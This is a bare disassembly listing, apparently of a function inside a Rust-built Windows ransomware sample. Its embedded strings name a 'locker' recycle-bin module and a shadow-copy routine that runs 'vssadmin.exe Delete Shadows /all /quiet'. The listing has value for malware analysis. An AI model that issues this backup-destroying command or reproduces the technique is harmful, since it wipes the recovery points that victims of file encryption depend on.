lea ecx, [esp + 0x38]
mov esi, dword [eax + 8]
mov ebx, dword [eax + 0x10]
call fcn.005e0570
test ebx, ebx
js 0x5180b2
mov edi, dword [esp + 0x38]
mov eax, dword [esp + 0x40]
mov dword [esp + 4], eax
je 0x517ba0
mov eax, dword [0x6f1130]
test eax, eax
jne 0x517b7f
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x518075
mov dword [0x6f1130], eax
push ebx
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
jne 0x517ba5
jmp 0x518075
mov eax, 1
mov dword [esp + 0x398], eax
mov dword [esp + 0x39c], ebx
mov dword [esp + 0x3a0], 0
lea ecx, [esp + 0x398]
mov edx, esi
push ebx
call fcn.005e0680
add esp, 4
mov eax, dword [esp + 0x3a0]
movsd xmm0, qword [esp + 0x398]
lea ecx, [esp + 0x70]
mov edx, edi
mov dword [esp + 0x78], eax
movsd qword [esp + 0x70], xmm0
push dword [esp + 4]
call fcn.005e0800
add esp, 4
cmp dword [esp + 0x3c], 0
je 0x517c11
push edi
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
lea eax, [esp + 0x70]
push eax
call fcn.005e0110
add esp, 4
mov esi, edx
lea ecx, [esp + 0x398]
mov edx, eax
push esi
call fcn.005ed1f0
add esp, 4
mov ebx, dword [esp + 0x398]
xor eax, eax
cmp ebx, 1
sete al
mov edi, dword [esp + eax*4 + 0x3a0]
test edi, edi
js 0x5180b2
mov esi, dword [esp + 0x39c]
je 0x517c90
mov eax, dword [0x6f1130]
test eax, eax
jne 0x517c74
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x518099
mov dword [0x6f1130], eax
push edi
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x518099
mov ebx, dword [esp + 0x398]
jmp 0x517c95
mov eax, 1
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], edi
push edi
push esi
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
test ebx, ebx
mov dword [esp + 0x24], edi
je 0x517cce
cmp dword [esp + 0x3a0], 0
je 0x517cce
push dword [esp + 0x39c]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
cmp dword [esp + 0x74], 0
lea esi, [esp + 0x138]
je 0x517ced
push dword [esp + 0x70]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov edx, dword [esp + 0x1c]
lea edi, [esp + 0x398]
mov ecx, edi
push 3
push 0x684927
push dword [esp + 0x2c]
call fcn.0045fa60
add esp, 0xc
lea ecx, [esp + 0x38]
mov edx, edi
call fcn.00516470
cmp dword [esp + 0x38], 1
jne 0x517eb0
mov eax, dword [0x6f11c8]
cmp eax, 2
jbe 0x517e23
lea eax, [esp + 0x1c]
mov ecx, 0x6857f8
mov edx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], 0x41e510
mov eax, dword [0x6f1080]
mov dword [esp + 0x398], 3
mov dword [esp + 0x39c], str.locker::core::os::windows::recycle_binsrc_core_os_windows_recycle_bin.rsvssadmin.exe_Delete_Shadows__all__quietshadow_copy::remove_all_vss
mov dword [esp + 0x3a0], 0x26
mov dword [esp + 0x3a4], 0x684930
mov dword [esp + 0x3a8], 1
mov dword [esp + 0x3ac], 0
cmp eax, 2
mov eax, dword [0x605020]
cmovne eax, ecx
mov ecx, dword [str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs]
cmovne ecx, edx
lea edx, [esp + 0x38]
mov dword [esp + 0x3b4], edx
lea edx, [esp + 0x398]
mov dword [esp + 0x3b8], 1
mov dword [esp + 0x3bc], 0
mov dword [esp + 0x3c4], 0x26
mov dword [esp + 0x3c0], str.locker::core::os::windows::recycle_binsrc_core_os_windows_recycle_bin.rsvssadmin.exe_Delete_Shadows__all__quietshadow_copy::remove_all_vss
mov dword [esp + 0x3c8], 0
mov dword [esp + 0x3d0], 0x22
mov dword [esp + 0x3cc], 0x68495e
mov dword [esp + 0x3d4], 1
mov dword [esp + 0x3d8], 0x18
push edx
push ecx
call dword [eax + 0x14]
add esp, 8
mov edi, dword [esp + 0x1c]
mov esi, dword [esp + 0x24]
mov ebx, dword [esp + 0x20]
lea eax, [esp + 0x54]
mov dword [esp + 0x44], 0
lea ecx, [esp + 0x70]
mov word [eax + 4], 0
mov dword [eax], 0
lea eax, [esp + 0x38]
mov dword [esp + 0x48], 7
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 0
mov dword [esp + 0x3c], 1
mov dword [esp + 0x40], 0
mov dword [esp + 0x38], 0x2200000
mov edx, edi
push eax
push esi
call fcn.005d8dc0
add esp, 8
cmp dword [esp + 0x70], 1
mov dword [esp + 4], ebx
jne 0x517ed0
mov eax, dword [esp + 0x74]
mov ecx, dword [esp + 0x78]
mov dword [esp + 0x39c], eax
mov dword [esp + 0x3a0], ecx
jmp 0x517ef6
cmp dword [esp + 0x20], 0
je 0x517f62
mov ebx, dword [esp + 0x1c]
jmp 0x517f54
mov ebx, dword [esp + 0x74]
lea ecx, [esp + 0x398]
mov edx, ebx
call fcn.005d8fc0
push ebx
call sub.KERNEL32.dll_CloseHandle
cmp dword [esp + 0x398], 1
jne 0x517f92
mov ebx, dword [esp + 0x3a0]
mov al, byte [esp + 0x39c]
cmp dword [esp + 4], 0
lea esi, [esp + 0x138]
je 0x517f24
push edi
push 0
push dword [0x6f1130]
mov edi, eax
call sub.KERNEL32.dll_HeapFree
mov eax, edi
cmp al, 3
jne 0x517f62
mov eax, dword [ebx + 4]
push dword [ebx]
call dword [eax]
add esp, 4
mov ecx, dword [ebx + 4]
cmp dword [ecx + 4], 0
je 0x517f54
mov eax, dword [ebx]
cmp dword [ecx + 8], 9
jb 0x517f46
mov eax, dword [eax - 4]
push eax
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
push ebx
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [esp + 0x138]
lock dec dword [eax]
jne 0x517f7a
mov ecx, dword [esp + 0x138]
call fcn.00513620
mov edi, dword [esp + 0x34]
mov ebx, dword [esp + 0x28]
xor eax, eax
cmp eax, 1
je 0x5176cf
jmp 0x517840
test dword [esp + 0x3b8], 0x400
je 0x517fba
mov eax, dword [esp + 0x3d4]
mov ecx, 0x20000000
and eax, ecx
je 0x517fba
mov ecx, edi
mov edx, esi
call fcn.005ef2a0
jmp 0x517fc3
mov ecx, edi
mov edx, esi
call fcn.005ef340
mov ebx, edx
cmp dword [esp + 4], 0
lea esi, [esp + 0x138]
jne 0x517f12
jmp 0x517f24
push ebx
call sub.KERNEL32.dll_FindClose
lock dec dword [edi]
jne 0x5174ac
mov ecx, edi
call fcn.00513620
jmp 0x5174ac
mov edx, ecx
sub ecx, edx
mov eax, ecx
mov ecx, dword [esp + 0x68]
je 0x518047
sar eax, 2
add edx, 4
imul eax, eax, 0xaaaaaaab
shl eax, 2
lea esi, [eax + eax*2]
jmp 0x518028
add edx, 0xc
add esi, 0xfffffff4
je 0x518047
cmp dword [edx], 0
je 0x518020
push dword [edx - 4]
push 0
push dword [0x6f1130]
mov edi, edx
call sub.KERNEL32.dll_HeapFree
mov ecx, dword [esp + 0x68]
mov edx, edi
jmp 0x518020
test ecx, ecx
je 0x518069
shl ecx, 2
lea eax, [ecx + ecx*2]
test eax, eax
je 0x518069
push dword [esp + 0xa4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
ud2
mov ecx, ebx
jmp 0x51809b
mov ecx, ebx
mov edx, 0x104
push 0x6d5e20
call fcn.0045ab50
add esp, 4
ud2
mov ecx, dword [esp + 0x2c]
jmp 0x51809b
mov ecx, esi
jmp 0x51809b
mov ecx, edi
mov edx, 1
call fcn.0040a640
ud2
mov edx, dword [esp + 0x3a0]
test edx, edx
jne 0x5180b9
call fcn.0040a620
ud2
mov ecx, dword [esp + 0x39c]
call fcn.0040a640
ud2